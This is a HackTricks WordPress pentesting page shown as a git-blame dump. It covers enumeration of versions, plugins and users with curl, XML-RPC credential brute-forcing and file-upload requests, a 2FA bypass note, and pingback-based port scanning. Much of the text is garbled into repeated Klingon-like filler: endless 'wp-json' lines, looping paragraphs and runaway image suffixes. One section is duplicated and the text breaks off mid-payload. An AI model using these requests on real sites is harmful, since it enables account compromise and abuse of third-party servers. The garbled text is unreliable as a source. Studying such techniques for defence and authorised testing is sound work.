2022-04-28 23:27:22 +00:00
# Wordpress
2022-04-28 16:01:33 +00:00
< details >
2023-12-31 01:24:39 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2023-12-31 01:24:39 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-09-09 11:57:02 +00:00
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2023-12-31 01:24:39 +00:00
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-09 07:15:24 +00:00
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
2023-12-31 01:24:39 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-01-10 00:59:55 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2023-09-24 09:51:34 +00:00
Use [**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks ) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
2023-01-01 16:19:07 +00:00
Get Access Today:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2022-05-01 16:57:45 +00:00
## Basic Information
2020-07-15 15:43:14 +00:00
2022-10-02 23:08:05 +00:00
**Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` \
**Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php** ](http://10.11.1.234/wp-content/themes/twentytwelve/404.php )\
2022-02-09 18:48:09 +00:00
**Another useful url could be:** [**/wp-content/themes/default/404.php** ](http://10.11.1.234/wp-content/themes/twentytwelve/404.php )
2020-07-15 15:43:14 +00:00
In **wp-config.php** you can find the root password of the database.
Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
2022-05-01 16:57:45 +00:00
### **Main WordPress Files**
2020-11-08 15:16:09 +00:00
* `index.php`
* `license.txt` contains useful information such as the version WordPress installed.
* `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
2021-10-18 11:21:18 +00:00
* Login folders (may be renamed to hide it):
2024-02-10 17:52:19 +00:00
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
2020-11-08 15:16:09 +00:00
* `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API ](https://developer.wordpress.org/rest-api/reference ).
2022-02-09 18:48:09 +00:00
* The `wp-content` folder is the main directory where plugins and themes are stored.
2020-11-08 15:16:09 +00:00
* `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
* `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
2023-12-27 23:58:16 +00:00
* `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
2020-11-08 15:16:09 +00:00
2022-04-28 23:27:22 +00:00
**Post exploitation**
2020-11-08 15:16:09 +00:00
* The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
2022-05-01 16:57:45 +00:00
### Users Permissions
2020-11-08 15:16:09 +00:00
* **Administrator**
* **Editor**: Publish and manages his and others posts
* **Author**: Publish and manage his own posts
* **Contributor**: Write and manage his posts but cannot publish them
* **Subscriber**: Browser posts and edit their profile
2022-05-01 16:57:45 +00:00
## **Passive Enumeration**
2020-11-08 15:16:09 +00:00
2022-05-01 16:57:45 +00:00
### **Get WordPress version**
2020-11-08 15:16:09 +00:00
2021-11-30 16:46:07 +00:00
Check if you can find the files `/license.txt` or `/readme.html`
2020-11-08 15:16:09 +00:00
2021-11-30 16:46:07 +00:00
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/ ](https://wordpress.org/support/article/pages/ )):
2020-11-08 15:16:09 +00:00
2022-10-02 23:08:05 +00:00
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
2020-11-08 15:16:09 +00:00
* `meta name`
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 343 ) . png > )
2020-11-08 15:16:09 +00:00
* CSS link files
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 344 ) . png > )
2020-11-08 15:16:09 +00:00
* JavaScript files
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 346 ) . png > )
2020-11-08 15:16:09 +00:00
2022-05-01 16:57:45 +00:00
### Get Plugins
2020-07-15 15:43:14 +00:00
2023-10-16 18:10:45 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
2023-10-16 18:10:45 +00:00
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
2020-11-08 15:16:09 +00:00
```
2022-05-01 16:57:45 +00:00
### Get Themes
2020-11-08 15:16:09 +00:00
2024-02-10 17:52:19 +00:00
{% code overflow="wrap" %}### Themes jIH
ghItlhmeH 'ej ghItlhmeH 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH. 'oH 'ej ghItlhmeH 'oH.
2020-11-08 15:16:09 +00:00
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
2024-02-10 17:52:19 +00:00
### jImej
2020-11-08 15:16:09 +00:00
2023-10-16 18:10:45 +00:00
{% code overflow="wrap" %}
2020-11-08 15:16:09 +00:00
```bash
2023-10-16 18:10:45 +00:00
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
2020-07-15 15:43:14 +00:00
```
2023-10-16 18:10:45 +00:00
{% endcode %}
2020-07-15 15:43:14 +00:00
2024-01-10 00:59:55 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-02-10 17:52:19 +00:00
[**Trickest** ](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks ) **ghItlh** vItlhutlh **automate workflows** powered by the world's **most advanced** community tools.\
2023-01-01 16:19:07 +00:00
Get Access Today:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-10 17:52:19 +00:00
## **Qap** enumeration
2020-11-08 15:16:09 +00:00
2024-02-10 17:52:19 +00:00
### Plugins je Themes
2020-11-08 15:16:09 +00:00
2024-02-10 17:52:19 +00:00
tlhIngan Hol vItlhutlh **Plugins je Themes** passible. **Brute Force a list of Plugins je Themes** (hopefully for us there are automated tools that contains this lists) **actively** vItlhutlh.
2020-11-08 15:16:09 +00:00
2022-05-01 16:57:45 +00:00
### Users
2020-07-15 15:43:14 +00:00
2022-04-28 23:27:22 +00:00
**ID Brute**
2020-11-08 15:16:09 +00:00
2024-02-10 17:52:19 +00:00
WordPress site users valid users vItlhutlh Brute Force users IDs:
2021-10-18 11:21:18 +00:00
```
2020-11-08 15:16:09 +00:00
curl -s -I -X GET http://blog.example.com/?author=1
```
2024-02-10 17:52:19 +00:00
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
**wp-json**
2020-07-15 15:43:14 +00:00
2024-02-10 17:52:19 +00:00
**wp-json**
2020-11-08 15:16:09 +00:00
2022-04-28 23:27:22 +00:00
**wp-json**
2020-11-08 15:16:09 +00:00
2024-02-10 17:52:19 +00:00
**wp-json**
2020-11-08 15:16:09 +00:00
2024-02-10 17:52:19 +00:00
**wp-json**
2021-10-18 11:21:18 +00:00
```
2020-11-08 15:16:09 +00:00
curl http://blog.example.com/wp-json/wp/v2/users
```
2024-02-10 17:52:19 +00:00
jIyajbe' `/wp-json/` endpoint vItlhutlh ghap users vItlhutlh vItlhutlh.
2023-10-25 23:42:52 +00:00
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
2024-02-10 17:52:19 +00:00
**ghItlh** **endpoint** **qaStaHvIS** **users** ** 'e'** **post** ** 'e'**. ** 'e'** **users** ** 'e'** **feature** **enable** ** 'e'** **information** ** 'e'** **Daj** .
2023-12-27 23:58:16 +00:00
2024-02-10 17:52:19 +00:00
**'e'** ** /wp-json/wp/v2/pages** **IP** **leak** **Suv** .
2020-11-08 15:16:09 +00:00
2024-02-10 17:52:19 +00:00
#### **Login** **username** **enumeration**
2022-10-02 23:08:05 +00:00
2024-02-10 17:52:19 +00:00
**'e'** **login** ** `/wp-login.php` ** ** 'e'** **message** ** 'e'** ** 'e'** **username** ** 'e'** **exist** ** 'e'**.
2022-10-02 23:08:05 +00:00
2024-02-10 17:52:19 +00:00
### **XML-RPC**
2020-07-15 15:43:14 +00:00
2024-02-10 17:52:19 +00:00
**xml-rpc.php** ** 'e'** **active** ** 'e'** **credentials** **brute-force** ** 'e'** **DoS** **attacks** ** 'e'** **resources** ** 'e'**. (**'e'** **automate** ** 'e'** **process** [**'e'** **this** ](https://github.com/relarizky/wpxploit ) ** 'e'** **example** ).
2020-07-15 15:43:14 +00:00
2024-02-10 17:52:19 +00:00
**'e'** **active** ** 'e'** **try** ** 'e'** **access** **_** /xmlrpc.php**_** ** 'e'** **request** ** 'e'** **send** :
2020-07-15 15:43:14 +00:00
2022-04-28 23:27:22 +00:00
**Check**
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
< methodName > system.listMethods< / methodName >
< params > < / params >
< / methodCall >
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
2022-04-28 23:27:22 +00:00
**Credentials Bruteforce**
2020-07-15 15:43:14 +00:00
2022-10-08 16:35:25 +00:00
**`wp.getUserBlogs`**, ** `wp.getCategories` ** or ** `metaWeblog.getUsersBlogs` ** are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:
2020-07-15 15:43:14 +00:00
2024-02-10 17:52:19 +00:00
**Credentials Bruteforce**
**`wp.getUserBlogs`**, ** `wp.getCategories` ** or ** `metaWeblog.getUsersBlogs` ** are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
< methodName > wp.getUsersBlogs< / methodName >
< params >
< param > < value > admin< / value > < / param >
< param > < value > pass< / value > < / param >
< / params >
< / methodCall >
```
2022-12-09 14:47:58 +00:00
The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
2022-10-08 16:35:25 +00:00
2024-02-10 17:52:19 +00:00
![](< .. / . . / . gitbook / assets / image ( 107 ) ( 2 ) ( 2 ) ( 2 ) ( 2 ) ( 2 ) ( 2 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 )
2022-10-08 16:35:25 +00:00
```markup
<?xml version='1.0' encoding='utf-8'?>
< methodCall >
2024-02-10 17:52:19 +00:00
< methodName > wp.uploadFile< / methodName >
< params >
< param > < value > < string > 1< / string > < / value > < / param >
< param > < value > < string > username< / string > < / value > < / param >
< param > < value > < string > password< / string > < / value > < / param >
< param >
< value >
< struct >
< member >
< name > name< / name >
< value > < string > filename.jpg< / string > < / value >
< / member >
< member >
< name > type< / name >
< value > < string > mime/type< / string > < / value >
< / member >
< member >
< name > bits< / name >
< value > < base64 > <![CDATA[---base64-encoded-data---]]> < / base64 > < / value >
< / member >
< / struct >
< / value >
< / param >
< / params >
2022-10-08 16:35:25 +00:00
< / methodCall >
```
2022-04-28 23:27:22 +00:00
**Bypass 2FA**
2022-02-09 20:26:27 +00:00
2024-02-10 17:52:19 +00:00
**Qapla'!** QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vIt
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
< methodName > pingback.ping< / methodName >
< params > < param >
< value > < string > http://< YOUR SERVER > :< port > < / string > < / value >
< / param > < param > < value > < string > http://< SOME VALID BLOG FROM THE SITE > < / string >
< / value > < / param > < / params >
< / methodCall >
```
2023-06-06 22:57:49 +00:00
![](../../.gitbook/assets/1\_JaUYIZF8ZjDGGB7ocsZC-g.png)
2020-07-15 15:43:14 +00:00
2024-02-10 17:52:19 +00:00
**faultCode** **0** (17) **veQ** **greater** **value** ** 'ej** **port** **open** ** 'e'**.
2020-07-15 15:43:14 +00:00
2024-02-10 17:52:19 +00:00
**`system.multicall`** **abuse** **method** **cause** **DDoS** **ghaH** ** 'ej** **previous** **section** **look** **jatlh** .
2020-07-15 15:43:14 +00:00
```markup
< methodCall >
